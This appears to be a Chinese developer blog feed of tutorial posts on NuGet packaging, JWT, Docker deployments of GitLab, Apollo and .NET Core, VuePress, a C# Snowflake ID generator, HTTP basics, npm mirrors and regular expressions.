Nuget.exe 下载地址：https://dist.nuget.org/win-x86-commandline/latest/nuget.exe

Nuget安装后还需要配置环境变量

三、打包Nuget

在项目.csproj目录中打开cmd 或者powershell 并执行：nuget spec

用文本编辑器将上述命令执行完成的.nuspec 文件进行编辑

<?xml version="1.0"?>
<package >
  <metadata>
    <id>Dongteng</id>
    <version>1.0.0</version>
    <title>ceshiceshi</title>
    <authors>Dongteng</authors>
    <owners>$author$</owners>
    <licenseUrl>http://LICENSE_URL_HERE_OR_DELETE_THIS_LINE</licenseUrl>
    <projectUrl>http://PROJECT_URL_HERE_OR_DELETE_THIS_LINE</projectUrl>
    <iconUrl>http://ICON_URL_HERE_OR_DELETE_THIS_LINE</iconUrl>
    <requireLicenseAcceptance>false</requireLicenseAcceptance>
    <description>dongteng test</description>
    <releaseNotes>Summary of changes made in this release of the package.</releaseNotes>
    <copyright>Copyright 2019</copyright>
    <tags>Tag1 Tag2</tags>
  </metadata>
</package>

根据实际的需求修改，一般修改id、version、authors、`description等

修改完以上信息后执行命令：nuget pack，进行打包.正常结果如下

也可以使用bat脚本执行

nuget-publish.cmd :

@echo off
echo *******************clean nupkg*******************
del /S *.nupkg
del /S *.nuspec
echo *******************building*******************
dotnet build
echo *******************pack nupkg*******************
dotnet pack
echo *******************publish nupkg*******************
dotnet nuget push **/*.nupkg -s http://nuget.raikay.cn/v3/index.json package.nupkg
pause

四、发布

运行命令行，将包文件推送到本地nuget服务器中，执行命令：（如果设置了Key，则需要在包名之前添加对应的ApiKey）

什么是JWT? Json Web Token介绍

Sat, 16 May 2020 00:00:00 +0000

什么是jwt？

JWT 英文名是 Json Web Token ，是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范，经常用在跨域身份验证。

JWT 以 JSON 对象的形式安全传递信息。因为存在数字签名，因此所传递的信息是安全的。

由三部分组成：

Header（头部）

Payload（数据）

Signature（签名）

JWT=头部编码+数据编码+加密（头部编码+数据编码+key）

编码采用base64编码，加密采用头部alg声明编码方式加密

JWT 头描述了 JWT 元数据，是一个 JSON 对象，它的格式如下：

{"typ":"JWT","alg":"HS256"}

这里的 alg 属性表示签名所使用的算法，JWT 签名默认的算法为 HMAC SHA256 ， alg 属性值 HS256 就是 HMAC SHA256 算法。typ 属性表示令牌类型，这里就是 JWT。
Base64编码后是下面这样：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

二：载荷（playload）

有效载荷是 JWT 的主体，同样也是个 JSON 对象。有效载荷包含三个部分：
1、标准注册声明：
标准注册声明不是强制使用是的，但是我建议使用。它一般包括以下内容：

iss：jwt的签发者/发行人；
sub：主题；
aud：接收方；
exp：jwt过期时间；
nbf：jwt生效时间；
iat：签发时间
jti：jwt的唯一身份标识，主要用来作为一次性token,从而回避重放攻击。

2、公共声明：
可以在公共声明添加任何信息，我们一般会在里面添加用户信息和业务信息，但是不建议添加敏感信息，因为公共声明部分可以在客户端解密。

3、私有声明：
私有声明是服务器和客户端共同定义的声明，同样这里不建议添加敏感信息。
下面这个代码段就是定义了一个有效载荷：

{"sub":"1234567890","name":"John Doe","admin":true}

Base64编码：

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9

三：签名（signature）

这个部分主要是确保数据不会被篡改，需要base64加密后的header和base64加密后的payload使用.连接组成的字符串，然后通过header中声明的加密方式进行加盐secret组合加密

c#代码如下：

使用docker安装部署gitlab实例

Wed, 08 Apr 2020 00:00:00 +0000

安装Gitlab

1、拉取镜像

# gitlab-ce为稳定版本，后面不填写版本则默认pull最新latest版本
docker pull gitlab/gitlab-ce

2、创建映射目录

mkdir -p /home/gitlab/config   #创建config目录
mkdir -p /home/gitlab/logs    #创建logs目录
mkdir -p /home/gitlab/data    #创建data目录

3、运行镜像

强烈建议80端口不要映射其他端口， http clone 那里生成的地址不带映射端口

docker run -d  -p 443:443 -p 80:80 -p 222:22 \
--name gitlab --restart always \
-v /home/gitlab/config:/etc/gitlab \
-v /home/gitlab/logs:/var/log/gitlab \
-v /home/gitlab/data:/var/opt/gitlab \
gitlab/gitlab-ce

参数说明：

参数名称	简写	参数说明
detach	d	后台运行
hostname		指定主机地址，如果有域名可以指向域名
publish	p	将容器内部端口向外映射,左边代表宿主机的端口，右边代表容器端口
name		容器名称
restart always		总是重启
volume	v	将容器内数据文件夹或者日志、配置等文件夹挂载到宿主机指定目录

4、配置

按上面的方式，gitlab容器运行没问题，但在gitlab上创建项目的时候，生成项目的URL访问地址是按容器的hostname来生成的，也就是容器的id。作为gitlab服务器，我们需要一个固定的URL访问地址，于是需要配置gitlab.rb（宿主机路径：/home/gitlab/config/gitlab.rb）。

# gitlab.rb文件内容默认全是注释
vim /home/gitlab/config/gitlab.rb

# 配置http协议所使用的访问地址,不加端口号默认为80 
#(我加端口号访问就会失败，最后用默认80端口)
external_url 'http://192.168.198.130'

# 配置ssh协议所使用的访问地址和端口
gitlab_rails['gitlab_ssh_host'] = '192.168.198.130'
gitlab_rails['gitlab_shell_ssh_port'] = 222 # 此端口是run时22端口映射的222端口
:wq #保存配置文件并退出

注意事项：external_url 和gitlab_rails这两个ip参数建议固定操作系统的静态不变的IP或说是域名进行配置，假设IP变得的话在GitLab新建项目的时候，生成的IP还是原来的IP，此时就无法推送代码在Gitlab里面

使用Docker部署Apollo一个环境docker-quick-start版

Sun, 05 Apr 2020 00:00:00 +0000

1、下载Apollo源码

git clone https://github.com/ctripcorp/apollo.git

2、进入docker-quick-start 目录

cd apollo/scripts/docker-quick-start

3、安装启动

docker-compose up

看到下面日志表示已经安装成功

apollo-quick-start    | Waiting for config service startup.....
apollo-quick-start    | Config service started. You may visit http://localhost:8080 for service status now!
apollo-quick-start    | Waiting for admin service startup.
apollo-quick-start    | Admin service started
apollo-quick-start    | ==== starting portal ====
apollo-quick-start    | Portal logging file is ./portal/apollo-portal.log
apollo-quick-start    | Started [237]
apollo-quick-start    | Waiting for portal startup.....
apollo-quick-start    | Portal started. You can visit http://localhost:8070 now!

4、基本使用

管理后台：
地址：http://localhost:8070

使用Docker部署Apollo多个环境在一台(Linux)服务器

Sun, 05 Apr 2020 00:00:00 +0000

一、搭建MySql

1、拉取官方镜像
（我们这里选择5.7，如果不写后面的版本号则会自动拉取最新版）

docker pull mysql:5.7   # 拉取 mysql 5.7
docker pull mysql       # 拉取最新版mysql镜像
docker images           # 检查是否拉取成功

2、运行镜像

docker run -p 23306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7

参数说明：

–name：容器名，此处命名为mysql
-e：配置信息，此处配置mysql的root用户的登陆密码
-p：端口映射，此处映射主机23306端口到容器的3306端口

3、创建数据库

根据\apollo\scripts\sql目录下的两个脚本创建三个数据库

ApolloConfigDBPro : apolloconfigdb.sql
ApolloConfigDBDev : apolloconfigdb.sql
ApolloPortalDB : apolloportaldb.sql

4、修改值

修改 ApolloPortalDB库中ServerConfig表apollo.portal.envs的值为dev,pro

修改 ApolloConfigDBPro库中ServerConfig表eureka.service.url的值为http://localhost:8083/eureka/

二、搭建Apollo

拉取镜像

docker pull idoop/docker-apollo

运行容器

注意 “=” 附近不能有空格

docker run --net="host" --name myapollo -d \
 -e PORTAL_DB='jdbc:mysql://192.168.198.128:23306/ApolloPortalDB?characterEncoding=utf8' \
 -e PORTAL_DB_USER='root' \
 -e PORTAL_DB_PWD='123456' \
 -e DEV_DB='jdbc:mysql://192.168.198.128:23306ApolloConfigDBDev?characterEncoding=utf8' \
 -e DEV_DB_USER='root' \
 -e DEV_DB_PWD='123456' \
 -e PRO_DB='jdbc:mysql://192.168.198.128:23306/ApolloConfigDBPro?characterEncoding=utf8' \
 -e PRO_DB_USER='root' \
 -e PRO_DB_PWD='123456' \
 idoop/docker-apollo:latest

时间有点久，等三、五分钟后，访问 http://192.168.198.128:8070/

Docker环境安装及基础命令使用

Fri, 03 Apr 2020 00:00:00 +0000

Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中，然后发布到任何流行的 Linux或Windows操作系统的机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口。

安装Docker

为yum配置加速

centos默认国外源，安装过程不是很理想

#下载阿里yum源2 
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 
yum clean all  #清理缓存
yum makecache  #生成仓库缓存

安装：

1、安装必要依赖包

yum install -y yum-utils device-mapper-persistent-data lvm2

2、添加阿里镜像稳定版仓库

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

3、安装docker-ce

yum install -y docker-ce docker-ce-cli containerd.io

配置docker加速

创建或修改 daemon.json 文件

修改之后重启docker服务

vim  /etc/docker/daemon.json

{
  "registry-mirrors" : [
    "http://registry.docker-cn.com",
    "http://docker.mirrors.ustc.edu.cn",
    "http://hub-mirror.c.163.com"
  ],
  "insecure-registries" : [
    "registry.docker-cn.com",
    "docker.mirrors.ustc.edu.cn"
  ],
  "debug" : true,
  "experimental" : true
}

开机启动

systemctl enable docker #开机启动docker

重启

systemctl daemon-reload #加载
systemctl restart docker  #重启docker

查看

systemctl status docker #查看docker状态
docker info  #查看详细信息
docker version #查看版本

使用Docker

查看已有镜像列表

Typora+Picgo图片自动上传打造Markdown写作神器

Wed, 11 Mar 2020 00:00:00 +0000

1、Markdown神器：Typora

Typora 是一款支持实时预览的 Markdown 文本编辑器。它有 OS X、Windows、Linux 三个平台的版本，并且由于仍在测试中，是完全免费的。

官网地址：https://www.typora.io/

2、图床工具：Picgo

将本地图片上传到七牛云、腾讯云COS、GitHub等图床。

3、如何实现Typora图片自动上传

1、在Typora 依次点击文件 –> 偏好设置 –> 图像

2、点击下载PicGo,填写PicGo启动文件路径

4、PicGo相关设置

PicGo默认安装了几个插件腾讯云、阿里云、七牛云、GitHub等，这里已blog-uploader这个插件为例，

这里收集了一些其他插件：https://github.com/PicGo/Awesome-PicGo

点击插件设置 –> 搜索插件 –> 安装

点图床设置 –> 设置为默认图床 –> 确定

支持：
拖拽
粘贴板直接粘贴

5、相关错误解决：

如果报错先检查一下picgo设置Server是否开启，端口是否是36677
如果报什么upload文件夹错误，检查一下这个路径是否有权限读写权限C:\Program Files\Typora\upload

Vuepress起步

Wed, 11 Mar 2020 00:00:00 +0000

1、安装

npm install -g vuepress

如果慢或者安装失败可以用cnpm替换，或者yarn

# yarm
yarn global add vuepress  

#cnpm
npm install -g cnpm --registry=https://registry.npm.taobao.org #如果已安装请忽略
cnpm install -g vuepress

2、创建项目目录

mkdir vuepress-starter && cd vuepress-starter

3、新建一个 markdown 文件

echo '# Hello VuePress!' > README.md

运行项目

vuepress dev .

4、访问站点

http://localhost:8080/

初始化项目

npm init -y

执行命令后，项目根目录会出现一个package.json，我们修改scripts节点

"scripts":{
     "dev":"vuepress dev docs",
     "build":"vuepress build docs"
}

修改之后：

{
    "name":"vuepress-starter",
    "version":"1.0.0",
    "description":"",
    "main":"index.js",
    "scripts":{
        "dev":"vuepress dev docs",
        "build":"vuepress build docs"
    },
    "keywords":[

    ],
    "author":"",
    "license":"ISC"
}

创建基本目录

浏览器保留页面跳转前的请求记录-持续记录

Sun, 08 Mar 2020 00:00:00 +0000

开发中往往会遇到这样的情况，调试一个请求，但是请求中有报错的跳转，结果一刷新页面就自动跳转了，也看不到请求报错，这个时候只要勾选上preserver log即可

谷歌：

火狐：

.Net Core项目使用Docker容器部署到Linux服务器Centos7

Tue, 11 Feb 2020 00:00:00 +0000

创建项目

选择 ASP.NET Core Web 应用程序

可以在创建时直接勾选【启用Docker支持】选择Linux(图1)，也可以在已有项目右键添加Docker支持（图2）

图1

图2

项目发送至Linux服务器，我这里是上传到github,然后在linux服务器通过github下载项目

git下载项目

git clone https://github.com/raikay/firstdemo.git

构建镜像

 docker build -t firstdemo . -f firstdemo/Dockerfile

如果构建dotnet环境太慢，可以使用腾讯加速镜像下载

docker pull ccr.ccs.tencentyun.com/dotnet-core/aspnet:3.1-buster-slim

docker tag ccr.ccs.tencentyun.com/dotnet-core/aspnet:3.1-buster-slim mcr.microsoft.com/dotnet/core/aspnet:3.1-buster-slim

docker pull ccr.ccs.tencentyun.com/dotnet-core/sdk:3.1-buster

docker tag ccr.ccs.tencentyun.com/dotnet-core/sdk:3.1-buster mcr.microsoft.com/dotnet/core/sdk:3.1-buster

docker build -t firstdemo . -f firstdemo/Dockerfile

运行镜像

docker run -d -p 1080:80 --name myfirstdemo  firstdemo

浏览器访问

http://192.168.198.131:1080/WeatherForecast

浏览器显示效果

Dockerfile解释

#See https://aka.ms/containerfastmode to understand how Visual Studio uses this Dockerfile to build your images for faster debugging.
#引入aspnet:3.1-buster-slim镜像并重命名为 base
FROM http://mcr.microsoft.com/dotnet/core/aspnet:3.1-buster-slim AS base
#设置base镜像的工作目录为/app
WORKDIR /app
#开放容器的80与443端口
EXPOSE 80
EXPOSE 443

#引入sdk:3.1-buster镜像并重命名为build
#该镜像用于在Linux平台上生成我们的项目并不包含在最终镜像中
FROM http://mcr.microsoft.com/dotnet/core/sdk:3.1-buster AS build
#设置build镜像的工作目录为/src
WORKDIR /src
#拷贝项目文件DemoWeb.csproj到/src/DemoWeb/目录
COPY ["DemoWeb/DemoWeb.csproj", "DemoWeb/"]
#运行dotnet restore命令还原项目的依赖
RUN dotnet restore "DemoWeb/DemoWeb.csproj"
#拷贝Dockerfile所在目录的内容到/src目录
COPY . .
#设置工作目录为build镜像的/src/DemoWeb
WORKDIR "/src/DemoWeb"
#运行 dotnet build 生成命令，并将输出内容保存到/app/build目录
RUN dotnet build "DemoWeb.csproj" -c Release -o /app/build

FROM build AS publish
#运行 dotnet publish 发布命令，并将输入内容保存到/app/publish目录
RUN dotnet publish "DemoWeb.csproj" -c Release -o /app/publish

#使用base镜像最为最终的基础镜像
FROM base AS final
WORKDIR /app
#将publish镜像中/app/publish目录的内容拷贝到当前的/app目录
COPY --from=publish /app/publish .
#设置该镜像的入口命令为 dotnet DemoWeb.dll
ENTRYPOINT ["dotnet", "DemoWeb.dll"]

Dto / Model / Entity 区别

Tue, 11 Feb 2020 00:00:00 +0000

Entity

数据表对应到实体类的映射

Model

Model是MVC中一个概念，可能不和Entity一一对应，因为展示在View层中数据可能是一个Entity的精简，也可能是多个Entity的组合。
Model是一个高度优化组合或者精简后的一个用于在View层展示数据的对象。

DTO

数据传输对象（Data Transfer Object）。
用于系统间数据传输的对象，数据传输目标往往是数据访问对象从数据库中检索数据。

鸣谢：

https://www.zhihu.com/question/25256772
http://www.liuhuachao.com/blog/2018/05/20/entity-model-dto/

分布式唯一ID - 雪花ID Snowflake .Net版

Tue, 11 Feb 2020 00:00:00 +0000

雪花Id介绍：

雪花ID是用一个64位的整形数字来做ID，对应.net中的long，数据库中的bigint，雪花算法的原始版本是scala版，用于生成分布式ID（纯数字，时间顺序）,订单编号等。

生成的雪花Id：

35324861574164480
35324861578358784
35324861578358785

对比自增和Guid:

自增ID： 对于数据敏感场景不宜使用，且不适合于分布式场景。
GUID： 采用无意义字符串，且36位字符串太长，数据量增大时造成访问过慢，且不宜排序。

算法描述：

最高位是符号位，始终为0，不可用。
41位的时间序列，精确到毫秒级，41位的长度可以使用69年。时间位还有一个很重要的作用是可以根据时间进行排序。
10位的机器标识，10位的长度最多支持部署1024个节点。
12位的计数序列号，序列号即一系列的自增id，可以支持同一节点同一毫秒生成多个ID序号，12位的计数序列号支持每个节点每毫秒产生4096个ID序号。

雪花算法改进，时钟回拨：

雪花ID严重依赖系统当前时间，当系统时间被人为反后调整时，算法会出问题，可能会出重复ID．Snowflake原算法是在检测到系统时间被回调后直接抛异常．本代码在时钟回拨后,会将生成的ID时间戳停留在最后一次时间戳上(每当序列溢出时会往前走一毫秒),等待系统时间追上后即可以避过时钟回拨问题.

这种处理方式的优点是时钟回拨后不会异常，能一直生成出雪花ID，但缺点是雪花ID中的时间戳不是系统的当前时间，会是回拨前的最后记录的一次时间戳，但相差也不大．不知道有没有什么生产系统会对这个时间戳要求非常严格，无法使用这种补救方式的？

当然停掉系统后的时钟回拨是无法处理的,这种还是会有可能出现重复ID的．

生成Id以及解析Id方法:

源码git地址: https://gitee.com/itsm/learning_example/tree/master/snowflake-雪花Id

public class SnowflakeId
    {

        // 开始时间截((new DateTime(2020, 1, 1, 0, 0, 0, DateTimeKind.Utc)-Jan1st1970).TotalMilliseconds)
        private const long twepoch = 1577836800000L;

        // 机器id所占的位数
        private const int workerIdBits = 5;

        // 数据标识id所占的位数
        private const int datacenterIdBits = 5;

        // 支持的最大机器id，结果是31 (这个移位算法可以很快的计算出几位二进制数所能表示的最大十进制数) 
        private const long maxWorkerId = -1L ^ (-1L << workerIdBits);

        // 支持的最大数据标识id，结果是31 
        private const long maxDatacenterId = -1L ^ (-1L << datacenterIdBits);

        // 序列在id中占的位数 
        private const int sequenceBits = 12;

        // 数据标识id向左移17位(12+5) 
        private const int datacenterIdShift = sequenceBits + workerIdBits;

        // 机器ID向左移12位 
        private const int workerIdShift = sequenceBits;


        // 时间截向左移22位(5+5+12) 
        private const int timestampLeftShift = sequenceBits + workerIdBits + datacenterIdBits;

        // 生成序列的掩码，这里为4095 (0b111111111111=0xfff=4095) 
        private const long sequenceMask = -1L ^ (-1L << sequenceBits);

        // 数据中心ID(0~31) 
        public long datacenterId { get; private set; }

        // 工作机器ID(0~31) 
        public long workerId { get; private set; }

        // 毫秒内序列(0~4095) 
        public long sequence { get; private set; }

        // 上次生成ID的时间截 
        public long lastTimestamp { get; private set; }


        /// <summary>
        /// 雪花ID
        /// </summary>
        /// <param name="datacenterId">数据中心ID</param>
        /// <param name="workerId">工作机器ID</param>
        public SnowflakeId(long datacenterId,long workerId )
        {
            if (datacenterId > maxDatacenterId || datacenterId < 0)
            {
                throw new Exception(string.Format("datacenter Id can't be greater than {0} or less than 0", maxDatacenterId));
            }
            if (workerId > maxWorkerId || workerId < 0)
            {
                throw new Exception(string.Format("worker Id can't be greater than {0} or less than 0", maxWorkerId));
            }
            this.workerId = workerId;
            this.datacenterId = datacenterId;
            this.sequence = 0L;
            this.lastTimestamp = -1L;
        }

        /// <summary>
        /// 获得下一个ID
        /// </summary>
        /// <returns></returns>
        public long NextId()
        {
            lock (this)
            {
                long timestamp = GetCurrentTimestamp();
                if (timestamp > lastTimestamp) //时间戳改变，毫秒内序列重置
                {
                    sequence = 0L;
                }
                else if (timestamp == lastTimestamp) //如果是同一时间生成的，则进行毫秒内序列
                {
                    sequence = (sequence + 1) & sequenceMask;
                    if (sequence == 0) //毫秒内序列溢出
                    {
                        timestamp = GetNextTimestamp(lastTimestamp); //阻塞到下一个毫秒,获得新的时间戳
                    }
                }
                else   //当前时间小于上一次ID生成的时间戳，证明系统时钟被回拨，此时需要做回拨处理
                {                   
                    sequence = (sequence + 1) & sequenceMask;
                    if (sequence > 0) 
                    {
                        timestamp = lastTimestamp;     //停留在最后一次时间戳上，等待系统时间追上后即完全度过了时钟回拨问题。
                    }
                    else   //毫秒内序列溢出
                    {
                        timestamp = lastTimestamp + 1;   //直接进位到下一个毫秒                          
                    }
                    //throw new Exception(string.Format("Clock moved backwards.  Refusing to generate id for {0} milliseconds", lastTimestamp - timestamp));
                }

                lastTimestamp = timestamp;       //上次生成ID的时间截

                //移位并通过或运算拼到一起组成64位的ID
                var id= ((timestamp - twepoch) << timestampLeftShift)
                        | (datacenterId << datacenterIdShift)
                        | (workerId << workerIdShift)
                        | sequence;
                return id;
            }
        }

        /// <summary>
        /// 解析雪花ID
        /// </summary>
        /// <returns></returns>
        public static string AnalyzeId(long Id)
        {
            StringBuilder sb = new StringBuilder();

            var timestamp = (Id >> timestampLeftShift)  ;
            var time = Jan1st1970.AddMilliseconds(timestamp + twepoch);
            sb.Append(time.ToLocalTime().ToString("yyyy-MM-dd HH:mm:ss:fff"));

            var datacenterId = (Id ^ (timestamp  << timestampLeftShift)) >> datacenterIdShift;
            sb.Append("_" + datacenterId);

            var workerId = (Id ^ ((timestamp  << timestampLeftShift) | (datacenterId << datacenterIdShift))) >> workerIdShift;
            sb.Append("_" + workerId);

            var sequence = Id & sequenceMask;
            sb.Append("_" + sequence);

            return sb.ToString();
        }

        /// <summary>
        /// 阻塞到下一个毫秒，直到获得新的时间戳
        /// </summary>
        /// <param name="lastTimestamp">上次生成ID的时间截</param>
        /// <returns>当前时间戳</returns>
        private static long GetNextTimestamp(long lastTimestamp)
        {
            long timestamp = GetCurrentTimestamp();
            while (timestamp <= lastTimestamp)
            {
                timestamp = GetCurrentTimestamp();
            }
            return timestamp;
        }

        /// <summary>
        /// 获取当前时间戳
        /// </summary>
        /// <returns></returns>
        private static long GetCurrentTimestamp()
        {
            return (long)(DateTime.UtcNow - Jan1st1970).TotalMilliseconds; 
        }

        private static readonly DateTime Jan1st1970 = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
    }

内容来自：

HTTP / HTTPS 必备基础知识

Thu, 05 Dec 2019 00:00:00 +0000

HTTP 是一种 超文本传输协议(Hypertext Transfer Protocol)。

http是一个简单的请求-响应协议，它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。

一、地址栏输入网址（url）后发生了什么

1. DNS解析

首先浏览器通过DNS解析根据域名获取IP。通过下面的顺序获取。其中某个节点返回IP就不继续执行。

浏览器缓存 –> 系统host –> 本地域名服务器LDNS –> Root Server 域名服务器

2. 建立连接

浏览器根据得到的IP和目标服务器经过三次握手建立 TCP 连接。

3. 请求

建立连接后，浏览器会向目标服务器发起 HTTP-GET 请求，包括其中的 URL，HTTP 1.1 后默认使用长连接，只需要一次握手即可多次传输数据。

4. 响应

如果目标服务器只是一个简单的页面，就会直接返回，状态码为200。如果有重定向，返回 301,302 以 3 开头的重定向码，浏览器在获取了重定向响应后，在响应报文中 Location 项找到重定向地址，浏览器重新第一步访问即可。

5. 关闭连接

应答结束后，web浏览器与webserver四次握手断开连接，以保证其它web浏览器能够与webserver建立连接。

http1.1不是立即断开连接，而是服务端使用超时断开的策略来维护连接，一般是300s左右

二、无状态协议

HTTP无状态协议，是指协议对于事务处理没有记忆能力。每次的请求都是独立的，它的执行情况和结果与前面的请求和之后的请求是无直接关系的。不过，可以通过cookie、session等机制解决这个问题。

三、HTTP请求方法

根据 HTTP 标准，HTTP 请求可以使用多种请求方法。
HTTP1.0 定义了三种请求方法： GET, POST 和 HEAD方法。
HTTP1.1 新增了六种请求方法：OPTIONS、PUT、PATCH、DELETE、TRACE 和 CONNECT 方法。

方法	描述
GET	请求指定的页面信息，并返回实体主体。
POST	向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。
PUT	从客户端向服务器传送的数据取代指定的文档的内容。
DELETE	请求服务器删除指定的页面。
HEAD	类似于 GET 请求，只不过返回的响应中没有具体的内容，用于获取报头
CONNECT	协议中预留给能够将连接改为管道方式的代理服务器。
OPTIONS	允许客户端查看服务器的性能。
TRACE	回显服务器收到的请求，主要用于测试或诊断。
PATCH	对 PUT 方法的补充，用来对已知资源进行局部更新。

四、HTTP报文

在HTTP连接中报文分为请求（request）和响应（response）两种。每种报文在请求头都有不同的字段来标识不同的用途。

Cookie、session、token、jwt简单说明

Sun, 15 Sep 2019 00:00:00 +0000

【Cookie】：是由服务器端生成,发送给客户端的文本文件，下次请求时自动发送给服务端。

【session】：在服务端保存用户的状态，并用一个cookie标识进行存取

【token】：服务端把用户信息和密钥通过加密算法生成一个字符串

【jwt】：一种基于 JSON 的开放标准,一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源。比如用在用户登录上。

可以理解是一种特殊的token

npm和cnpm的各种源以及切换管理工具nrm

Sun, 15 Sep 2019 00:00:00 +0000

npm

允许用户从NPM服务器下载第三方包到本地使用。
允许用户从NPM服务器下载并安装第三方命令行程序到本地使用。
允许用户将自己编写的包或命令行程序上传到NPM服务器供别人使用

npm命令

npm -v 来测试是否成功安装
查看当前目录已安装插件：npm list
更新全部插件： npm update [ --save-dev ]
使用 npm 更新对应插件： npm update <name> [ -g ] [ --save-dev]
使用 npm 卸载插件： npm uninstall <name> [ -g ] [ --save-dev ]

cnpm

淘宝团队做的国内镜像，因为npm的服务器位于国外可能会影响安装。淘宝镜像与官方同步频率目前为 10分钟一次以保证尽量与官方服务同步。
安装：命令提示符执行
npm install cnpm -g --registry=https://registry.npm.taobao.org
cnpm -v 来测试是否成功安装

通过改变地址来使用淘宝镜像

npm的默认地址是https://registry.npmjs.org/
npm config get registry查看npm的仓库地址
npm config set registry https://registry.npm.taobao.org改变默认下载地址，这样不安装cnpm就能采用淘宝镜像

nrm

nrm能够管理所用可用的镜像源地址以及当前所使用的镜像源地址，但是只是单纯的提供了几个url并能够让我们在这几个地址之间方便切换
nrm包安装命令： npm i nrm -g

Linux系统Centos7部署DotNet Core项目及环境安装

Fri, 06 Sep 2019 00:00:00 +0000

1、环境安装及项目运行

安装 dotnet core

#使用微软官方的源
sudo rpm -Uvh https://packages.microsoft.com/config/rhel/7/packages-microsoft-prod.rpm

#更新软件源
sudo yum update

#可以先搜索看一下列表
#yum search dotnet

#安装
sudo yum install -y dotnet-sdk-3.1.x86_64

#查看是否安装成功
dotnet --version

下载项目

git clone https://github.com/raikay/firstdemo.git

生成项目

#进入生成目录
cd firstdemo/firstdemo
#生成
dotnet publish -c release -o "publish"
# -c 指定release; -o 指定生成目录

运行项目

dotnet firstdemo.dll --urls http://0.0.0.0:80

浏览器访问地址查看结果

http://192.168.198.131/WeatherForecast

至此已经成功运行！

2、supervisor创建守护进程

到上面的步骤程序运行没问题了，但是如果退出当前控制台，程序就会结束运行。

我们可以使用supervisor托管程序，创建守护进程，使程序持续运行。

安装supervisor

yum install -y epel-release #安装扩展源
yum install -y supervisor

进入 supervisor控制台

正则表达式元字符简介

Tue, 06 Aug 2019 00:00:00 +0000

元字符1

.：匹配除\n之外的任何单个字符。

例如正则表达式“b.g”能匹配如下字符串：“big”、“bug”、“b g”，但是不匹配“buug”，“b..g”可以匹配“buug”。

[ ] ：匹配括号中的任何一个字符（范围,字符集合）。

例如正则表达式“b[aui]g”匹配bug、big和bag，但是不匹配beg、baug。可以在括号中使用连字符“-”来指定字符的区间来简化表示，例如正则表达式[0-9]可以匹配任何数字字符，这样正则表达式“a[0-9]c”等价于“a[0123456789]c”就可以匹配“a0c”、“a1c”、“a2c”等字符串；还可以制定多个区间，例如“[A-Za-z]”可以匹配任何大小写字母，“[A-Za-z0-9]”可以匹配任何的大小写字母或者数字。思考：x[这里必须是元音]y，如何写正则？【当.出现在[]中，则表示普通.，不作为元字符。】

| ：将两个匹配条件进行逻辑“或”运算。

例如‘z|food’ 能匹配 “z” 或 “food”。‘(z|f)ood’ 则匹配 “zood” 或 “food”。 //注意^$问题。

()：将 () 之间括起来的表达式定义为“组”(group)

将匹配这个表达式的字符保存到一个临时区域,这个元字符在字符串提取的时候非常有用。把一些字符表示为一个整体。改变优先级、定义提取组两个作用。

元字符2(限定符)

限定符：限定前面的正则表达式出现的次数。

*：匹配0至多个在它之前的子表达式，和通配符*没关系。等价于{0,}。

例如正则表达式“zo*”（等同于z(o)）能匹配 “z” 、“zo”以及 “zoo”；因此“.”意味着能够匹配任意字符串。“z(b|c)"→zb、zbc、zcb、zccc、zbbbccc。“z(ab)“能匹配z、zab、zabab（用括号改变优先级）。

+：匹配前面的子表达式一次或多次，等价于{1,}

例如正则表达式9+匹配9、99、999等。 “zo+”能匹配 “zo”以及 “zoo” ，不能匹配"z”。

**? ：匹配前面的子表达式零次或一次。等价于：{0,1} **

例如，“do(es)?” 可以匹配 “do” 或 “does” 。【colou?r、favou?r】一般用来匹配“可选部分”。（终止贪婪模式）

{n} ：匹配确定的 n 次。“zo{2}”→zoo。

例如，“e{2}” 不能匹配“bed”中的“e”，但是能匹配“seed”中的两个“e”。 //seeeed,不可以。

{n,} :至少匹配n次。

例如，“e{2,}”不能匹配“bed”中的“e”（只出现一次，至少两次），但能匹配 “seeeeeeeed”中的所有“e”。

{n,m} ：最少匹配 n 次且最多匹配 m 次。

例如“e{1,3}”将匹配“seeeeeeeed”中的前三个“e”。 {2,5}//bed,seed,seeed;beeeeed错误。

元字符3

^（shift+6）：匹配一行的开始。

例如正则表达式“^regex”能够匹配字符串“regex我会用”的开始，但是不能匹配“我会用regex”。^另外一种意思：非！（[^0-9]）

$ ：匹配行结束符。
例如正则表达式“浮云$” 能够匹配字符串“一切都是浮云”的末尾，但是不能匹配字符串“浮云呀”

正则表达式在C#中的使用

Tue, 06 Aug 2019 00:00:00 +0000

正则表达式简介

正则表达式是对字符串的操作
正则表达式是一个用来描述字符串特征的表达式。
特征：必须出现的内容、可能出现的内容、不能出现的内容。
观察字符串规律，根据规律总结特征，然后根据特定字符串的特征来编写正则表达式。

常用函数：

Regex.IsMatch(); //判断是否匹配
Regex.Match();//提取某个（一个）匹配
Regex.Matches();//提取所有的匹配
Regex.Replace();//替换
Regex.Split();//分割

Regex.IsMatch()

练习1：判断是否是合法的邮政编码（6位数字）

lRegex.IsMatch("100830","^[0-9]{6}$")
Regex.IsMatch("119", @"^\d{6}$");

解释：由元字符定义得知“[0-9]”表示0到9的任意字符，“{6}”表示前面的字符匹配6次，因此“[0-9]{6}”中的{6}表示对数字匹配6次(000000123)。简写表达式得知“[0-9]”可以被“\d”代替，所以第二种写法“\d{6}”也是正确的。

练习2：判断一个字符串是不是身份证号码。

长度为15位或者18位的字符串，首位不能是0。
如果是15位，则全部是数字。
如果是18位，则前17位都是数字，末位可能是数字也可能是X。

写法一：^[1-9][0-9]{14}([0-9]{2}[0-9Xx])?$

